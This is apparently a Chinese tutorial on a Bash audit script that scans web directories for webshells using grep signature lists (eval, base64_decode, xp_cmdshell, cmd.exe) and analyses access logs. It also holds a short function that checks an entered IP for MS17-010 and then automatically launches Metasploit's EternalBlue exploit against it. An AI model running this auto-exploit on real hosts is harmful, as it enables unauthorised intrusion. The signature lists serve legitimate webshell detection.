基于Bash Shell的一个审计脚本
字数 1195 2025-08-15 21:32:54
Bash Shell 审计脚本教学文档
一、脚本概述
这是一个基于Bash Shell编写的多功能审计脚本,主要用于Linux系统下的安全审计工作。脚本主要包含三大功能模块:
- Webshell后门扫描
- 网站日志分析
- 日志搜索功能
脚本特点:
- 纯Bash实现,无需额外安装依赖
- 适用于Python等环境受限的服务器
- 采用模块化设计,通过function实现功能调用
- 模仿MSF的交互界面风格
二、核心功能详解
1. Webshell后门扫描功能
功能描述
扫描指定目录下的各类Web文件(PHP、JSP、HTML、TXT等),检测可能存在的恶意代码和后门。
实现原理
- 使用
find命令递归查找指定目录下的文件 - 通过
egrep匹配预定义的特征字符串 - 使用不同颜色标识不同威胁等级
关键代码分析
if [ -z $filepath ];then
echo -e "\033[1;31m 请输入要扫描的路径!\033[0m"
webscan
elif [ -z $wordlist ];then
# 使用内置字典扫描
find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P\OS\"\.|<?php \$_GET|base64_decode\($|array_map\(assert|array\(\$Base\(\$_POS|extract\(\$_REQUEST|eval\(\'@ini_set|ZXZhbCgnQGluaV9zZXQ|\'e\'\.\'v\'\.\'a\'\.\'l\'" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句话后门 \033[0m"}'|uniq
find $filepath -name "*.php"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|system$\$cmd$|shell_exec$\$cmd$|\$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode\(|mysqlDll\.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval\(gzunc|cmd\.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 " " "\033[41;37m 疑似webshell大马 \033[0m"}'|uniq
# 其他文件类型扫描类似...
else
# 使用自定义字典扫描
wordlist1=$(cat $wordlist)
find $filepath -name "*.php"|xargs egrep "$wordlist1" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句话后门 \033[0m"}'|uniq
# 其他文件类型扫描...
fi
字典文件说明
- 内置字典包含常见Webshell特征
- 支持自定义字典文件
- 字典格式要求:
- 每行一个特征字符串
- 特殊字符需要转义
- 示例:
test|\$POST|\(\$_POST - 中文内容需转换为UNIX格式(使用Notepad++转换)
2. 网站日志分析功能
功能描述
分析网站访问日志,提取有价值的安全信息。
实现原理
- 基于三年前作者编写的日志分析脚本(未做大幅修改)
- 主要分析access日志文件
- 过滤无关响应码(404、400等)
关键功能
- 异常访问统计
- IP频率分析
- 攻击特征识别
3. 日志搜索功能
功能描述
根据文件名或IP地址搜索日志内容。
实现原理
read -p "请输入要分析的脚本名称:" name66
if [ -z $name66 ];then
echo "请输入正确的文件名"
else
more $filepath2/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{
print "访问IP地址为:"$1" ""后门地址为:"$7
}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath2/log/$name66-ip.log
# 结果处理和显示...
fi
三、脚本框架设计
1. 主菜单结构
#!/bin/bash
function menu {
cat <<EOF
echo "1) 功能1"
echo "2) 功能2"
echo "3) 功能3"
echo "4) 功能4"
EOF
read -p "请输入要选择的功能序号:" num1
case "$num1" in
1) gn1 ;;
2) gn2 ;;
3) gn3 ;;
4) gn4 ;;
esac
}
# 功能函数示例
function gn1 {
echo "我是功能1"
menu # 返回主菜单
}
function gn2 {
echo "我是功能2"
read -p "如果想嵌套子功能,就学我:" zgn
case "$zgn" in
1) echo "我是功能2的子功能,看见我因为你输入的是1" ;;
2) echo "case 2 or 3" ;;
3) echo "default" ;;
esac
gn2 # 递归调用实现子菜单
}
# 启动脚本
menu
2. 设计特点
- 模块化:每个功能独立为函数
- 可扩展:易于添加新功能
- 交互式:通过read获取用户输入
- 递归调用:实现子菜单功能
四、高级应用示例
1. 自动化漏洞利用(MS17-010示例)
function ms17010 {
echo -e "\033[1;35m ms17010 攻击演示:\033[0m"
echo -e "\033[1;35m 准备探测\033[0m"
read -p "请输入要扫描的IP地址:" num2
# 探测445端口
cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}')
if [ "$cmd" = "Discovered open port 445" ];then
# 检测MS17-010漏洞
cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}')
echo -e "\033[1;35m $num2 \033[0m 已开放445端口"
else
echo -e "\033[1;35m $num2 \033[0m 未开启445端口"
fi
if [ "$cmd2" = "(ms17-010)" ];then
echo -e "检测到目标:\033[1;35m $num2 \033[0m 存在MS17-010漏洞!"
sleep 3
echo -e "\033[1;35m 开始进行攻击\033[0m"
# 自动调用MSF进行攻击
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
else
echo "目标不存在漏洞"
fi
exit
}
2. Windows批处理懒人脚本示例
@set /p ym="输入要扫描的域名地址:"
@set /p jb="输入要扫描的脚本类型:"
@set /p gn="请选择要使用的功能:"
@if %gn%==1 (
@echo 普通扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401
) else (
@if %gn%==2 (
@echo 递归扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5
)
)
pause
五、使用技巧
-
颜色输出:使用ANSI颜色代码增强可读性
- 示例:
echo -e "\033[45;37m 内容 \033[0m" - 45: 背景色;37: 前景色
- 示例:
-
日志处理:
- 过滤无关信息:
grep -v "Binary" - 排除错误响应码:
grep -v " 404"
- 过滤无关信息:
-
字典优化:
- 定期更新特征字符串
- 针对特定CMS定制字典
-
性能考虑:
- 对大目录扫描时,考虑使用
-prune排除无关目录 - 对大量文件使用
xargs提高效率
- 对大目录扫描时,考虑使用
六、资源获取
完整脚本下载:
- 链接: https://pan.baidu.com/s/1r5v1U6BAdkpD95W7-TjNQg
- 提取码: 2zls
七、总结
该脚本展示了如何利用Bash Shell实现实用的安全审计工具,核心价值在于:
- 纯Shell实现,环境兼容性好
- 模块化设计,易于维护和扩展
- 自动化思路,提高工作效率
- 交互式界面,降低使用门槛
通过学习和扩展此脚本,可以开发出更多实用的安全自动化工具。